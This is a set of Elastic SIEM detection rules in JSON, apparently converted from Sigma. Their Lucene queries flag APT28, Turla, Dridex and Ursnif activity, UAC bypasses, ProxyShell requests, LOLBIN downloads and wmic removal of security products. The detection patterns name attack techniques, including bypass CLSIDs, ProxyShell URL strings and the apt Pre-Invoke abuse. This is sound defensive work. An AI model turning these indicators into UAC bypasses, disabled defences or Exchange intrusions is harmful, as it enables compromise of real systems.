{"description": "Detects triggering of AMSI by Windows Defender.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "26e872fd-d086-f2fe-42ca-eb48bfa0536e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender AMSI Trigger Detected", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:\"1116\" AND Source_Name:\"AMSI\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects Trojan loader activity as used by APT28", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d49bb7a2-09f0-eacb-ae47-78b7c6cc80a2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sofacy Trojan Loader Activity", "query": "((process.command_line:*rundll32.exe* AND process.command_line:*%APPDATA%\\\\*) AND (process.command_line:*.dat\\\",* OR process.command_line:(*.dll\\\",#1 OR *.dll\\ #1 OR *.dll\\\"\\ #1)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "88ed17f9-d7a2-7e00-f01d-60b87b70bbb4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "TropicTrooper Campaign November 2018", "query": "process.command_line:*abCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCc*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@41thexplorer", "Microsoft Defender ATP"], "license": ""}
{"description": "Detects Turla ComRAT patterns", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "d49b6f62-3b95-0856-146c-86d8ddbba0fa", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Turla ComRAT", "query": "url.original:*\\/index\\/index.php\\?h\\=*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects typical Dridex process patterns", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "17ce3821-62f8-0ba4-d66e-faeeded3b88e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Dridex Process Pattern", "query": "((process.executable:*\\\\svchost.exe AND process.command_line:*C\\:\\\\Users\\\\* AND process.command_line:*\\\\Desktop\\\\*) OR (process.parent.executable:*\\\\svchost.exe AND ((process.executable:*\\\\whoami.exe AND process.command_line:*all*) OR (process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*view*))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1033", "T1055", "T1135"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}, {"id": "T1135", "name": "Network Share Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community"], "license": ""}
{"description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", "enabled": false, "false_positives": ["Legitimate CMSTP use (unlikely in modern enterprise environments)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "44b89c2a-e40b-492a-5e48-66fc1175c005", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CMSTP UAC Bypass via COM Object Access", "query": "(process.parent.executable:*\\\\DllHost.exe AND IntegrityLevel:(\"High\" OR \"System\") AND process.parent.command_line:(*\\ \\/Processid\\:\\{3E5FC7F9\\-9A51\\-4367\\-9063\\-A120244FBEC7\\}* OR *\\ \\/Processid\\:\\{3E000D72\\-A845\\-4CD9\\-BD83\\-80C07C3B881F\\}* OR *\\ \\/Processid\\:\\{BD54C901\\-076B\\-434E\\-B6C7\\-17C531F4AB41\\}* OR *\\ \\/Processid\\:\\{D2E7041B\\-2927\\-42FB\\-8E9F\\-7CE93B6DC937\\}* OR *\\ \\/Processid\\:\\{E9495B87\\-D950\\-4AB5\\-87A5\\-FF6D70BF3E90\\}*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1218", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Nik Seetharaman", "Christian Burkard"], "license": ""}
{"description": "Detects UAC bypass method using Windows event viewer", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d3c91d33-218e-87e8-73e9-015ec8dbb6f5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass via Event Viewer", "query": "(process.parent.executable.text:*\\\\eventvwr.exe AND (NOT (process.executable.text:*\\\\mmc.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects UAC bypass method using Windows event viewer", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d3c91d33-218e-87e8-73e9-015ec8dbb6f5", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "UAC Bypass via Event Viewer", "query": "(winlog.event_data.TargetObject:HKCU\\\\* AND winlog.event_data.TargetObject:*\\\\mscfile\\\\shell\\\\open\\\\command)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects uninstallation or termination of security products using the WMIC utility", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b08b736e-acdf-200b-5ff6-a53d5c69b0a6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wmic Uninstall Security Product", "query": "(process.command_line.text:*wmic* AND ((process.command_line.text:*product\\ where\\ * AND process.command_line.text:*call\\ uninstall* AND process.command_line.text:*\\/nointeractive*) OR (process.command_line.text:*caption\\ like\\ * AND process.command_line.text:(*call\\ delete* OR *call\\ terminate*))) AND process.command_line.text:(*Antivirus* OR *AVG\\ * OR *Crowdstrike\\ Sensor* OR *DLP\\ Endpoint* OR *Endpoint\\ Detection* OR *Endpoint\\ Protection* OR *Endpoint\\ Security* OR *Endpoint\\ Sensor* OR *ESET\\ File\\ Security* OR *Malwarebytes* OR *McAfee\\ Agent* OR *Microsoft\\ Security\\ Client* OR *Threat\\ Protection* OR *VirusScan* OR *Webroot\\ SecureAnywhere* OR *Windows\\ Defender* OR *CarbonBlack* OR *Carbon\\ Black* OR *Cb\\ Defense\\ Sensor\\ 64\\-bit* OR *Dell\\ Threat\\ Defense* OR *Cylance\\ * OR *LogRhythm\\ System\\ Monitor\\ Service* OR *Sophos\\ Anti\\-Virus* OR *Sophos\\ AutoUpdate* OR *Sophos\\ Management\\ Console* OR *Sophos\\ Management\\ Database* OR *Sophos\\ Credential\\ Store* OR *Sophos\\ Update\\ Manager* OR *Sophos\\ Management\\ Server* OR *Sophos\\ Remote\\ Management\\ System* OR *%Sophos%* OR *%carbon%* OR *%cylance%* OR *%eset%* OR *%symantec%*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7bf89a76-dfcb-f4b3-21f7-a65a11337edd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ImagingDevices Unusual Parent/Child Processes", "query": "(((process.parent.executable.text:(*\\\\WmiPrvSE.exe OR *\\\\svchost.exe OR *\\\\dllhost.exe) AND process.executable.text:*\\\\ImagingDevices.exe)) OR (process.parent.executable.text:*\\\\ImagingDevices.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects unusual parent or children of the wab.exe (Windows Contacts) process as seen being used with bumblebee activity", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c4069b9b-0fff-a987-6735-870189a92379", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wab.Exe Unusual Parent Or Child Processes", "query": "((process.parent.executable.text:(*\\\\WmiPrvSE.exe OR *\\\\svchost.exe OR *\\\\dllhost.exe) AND process.executable.text:*\\\\wab.exe) OR process.parent.executable.text:*\\\\wab.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", "enabled": false, "false_positives": ["Read only access list authority"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f29f179d-01e3-1052-e7e9-1b54d30d92f1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Network Access Suspicious desktop.ini Action", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ObjectType:\"File\" AND winlog.event_data.RelativeTargetName:*\\\\desktop.ini AND AccessList:(*WriteData* OR *DELETE* OR *WriteDAC* OR *AppendData* OR *AddSubdirectory*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tim Shelton (HAWK.IO)"], "license": ""}
{"description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", "enabled": false, "false_positives": ["Operations performed through Windows SCCM or equivalent", "Read only access list authority"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "424088c1-9280-78fc-4e7f-cb89fdb80c99", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious desktop.ini Action", "query": "(file.path.text:*\\\\desktop.ini AND (NOT ((process.executable.text:(C\\:\\\\Windows\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.executable.text:*\\\\AppData\\\\Local\\\\JetBrains\\\\Toolbox\\\\bin\\\\7z.exe AND file.path.text:*\\\\JetBrains\\\\apps\\\\*) OR (file.path.text:C\\:\\\\$WINDOWS.\\~BT\\\\NewOS\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Maxime Thiebaut (@0xThiebaut)", "Tim Shelton (HAWK.IO)"], "license": ""}
{"description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", "enabled": false, "false_positives": ["Valid change in the GuardDuty (e.g. to ignore internal scanners)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9cc60c2f-d584-186a-cdfe-69473fa3430b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AWS GuardDuty Important Change", "query": "(eventSource:\"guardduty.amazonaws.com\" AND eventName:\"CreateIPSet\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["faloker"], "license": ""}
{"description": "Detects URL pattern used by iOS Implant", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "029a2340-0534-354d-07e1-92415f302d5b", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "iOS Implant URL Pattern", "query": "url.original:*\\/list\\/suc\\?name\\=*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1005", "T1119", "T1203", "T1528", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}, {"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1005", "name": "Data from Local System", "reference": ""}, {"id": "T1119", "name": "Automated Collection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", "author": ["Florian Roth", "Rich Warren"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "089dc533-a0be-c132-3b9b-e3c714d4b182", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange ProxyShell Pattern", "query": "(http.response.status_code:\"401\" AND (((cs-uri-query:*\\/autodiscover.json* AND cs-uri-query:(*\\/powershell* OR *\\/mapi\\/nspi* OR *\\/EWS* OR *X\\-Rps\\-CAT*))) OR (cs-uri-query:(*autodiscover.json?@* OR *autodiscover.json%3f@* OR *%3f@foo.com* OR *Email\\=autodiscover\\/autodiscover.json* OR *json?@foo.com*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", "author": ["Florian Roth", "Rich Warren"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "57ca78d2-56f1-db9f-726e-d7b79aabbb4e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Successful Exchange ProxyShell Attack", "query": "(cs-uri-query:*\\/autodiscover.json* AND cs-uri-query:(*\\/powershell* OR *\\/mapi\\/nspi* OR *\\/EWS* OR *X\\-Rps\\-CAT*) AND http.response.status_code:(\"200\" OR \"301\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Ursnif C2 traffic.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "6ea892e5-de34-a8f6-aadc-31e36a99d951", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Ursnif Malware C2 URL Pattern", "query": "(url.original:(*_2f* OR *_2b*) AND url.original:*.avi* AND url.original:*\\/images\\/*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1071", "T1204", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects usage of \"apt\" and \"apt-get\" as a GTFOBin to execute and proxy command and binary execution", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "db54266e-5b95-b904-9ad1-9d228f82e28f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Apt GTFOBin Abuse - Linux", "query": "(process.executable.text:(*\\/apt OR *\\/apt\\-get) AND process.command_line.text:*APT\\:\\:Update\\:\\:Pre\\-Invoke\\:\\:\\=*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of \"cdb.exe\" to launch 64-bit shellcode or arbitrary processes or commands from a debugger script file", "author": ["Beyu Denis", "oscd.community", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate use of debugging tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ae451ac3-cb04-9c80-e5f1-8cd0307879f2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WinDbg/CDB LOLBIN Usage", "query": "(((process.executable.text:*\\\\cdb.exe) OR (winlog.event_data.OriginalFileName:\"CDB.Exe\")) AND process.command_line.text:(*\\ \\-c\\ * OR *\\ \\-cf\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1106", "T1127", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of \"find\" binary in a suspicious manner to perform discovery", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3bcbc346-ae43-4889-807f-3e2c130c2eca", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Discovery Activity Using Find - Linux", "query": "(process.executable.text:*\\/find AND process.command_line.text:(*\\-perm\\ \\-4000* OR *\\-perm\\ \\-2000* OR *\\-perm\\ 0777* OR *\\-perm\\ \\-222* OR *\\-perm\\ \\-o\\ w* OR *\\-perm\\ \\-o\\ x* OR *\\-perm\\ \\-u\\=s* OR *\\-perm\\ \\-g\\=s*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of \"find\" binary in a suspicious manner to perform discovery", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "bf3144a3-8f5f-f7bb-bf27-f102a56cb51d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Discovery Activity Using Find - MacOS", "query": "(process.executable.text:*\\/find AND process.command_line.text:(*\\-perm\\ \\-4000* OR *\\-perm\\ \\-2000* OR *\\-perm\\ 0777* OR *\\-perm\\ \\-222* OR *\\-perm\\ \\-o\\ w* OR *\\-perm\\ \\-o\\ x* OR *\\-perm\\ \\-u\\=s* OR *\\-perm\\ \\-g\\=s*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of \"getcap\" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "854ac51d-4027-9377-67f0-21b248244ddc", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Capabilities Discovery - Linux", "query": "(process.executable.text:*\\/getcap AND process.command_line.text:(*\\ \\/r\\ * OR *\\ \\-r\\ *))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of \"MSOHTMED\" to download arbitrary files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "61c814f7-64e4-d3be-4c2f-387b7632417c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Download Arbitrary Files Via MSOHTMED.EXE", "query": "((process.executable.text:*\\\\MSOHTMED.exe OR winlog.event_data.OriginalFileName:\"MsoHtmEd.exe\") AND process.command_line.text:(*http\\:\\/\\/* OR *https\\:\\/\\/* OR *ftp\\:\\/\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5f9db20b-f47a-614d-5943-e6a8e2bacb88", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Download Arbitrary Files Via MSPUB.EXE", "query": "((process.executable.text:*\\\\MSPUB.exe OR winlog.event_data.OriginalFileName:\"MSPUB.exe\") AND process.command_line.text:(*http\\:\\/\\/* OR *https\\:\\/\\/* OR *ftp\\:\\/\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "91c64926-2199-b7d8-6dd2-c916d964769d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Download Arbitrary Files Via PresentationHost.exe", "query": "((process.executable.text:*\\\\presentationhost.exe OR winlog.event_data.OriginalFileName:\"PresentationHost.exe\") AND process.command_line.text:(*http\\:\\/\\/* OR *https\\:\\/\\/* OR *ftp\\:\\/\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
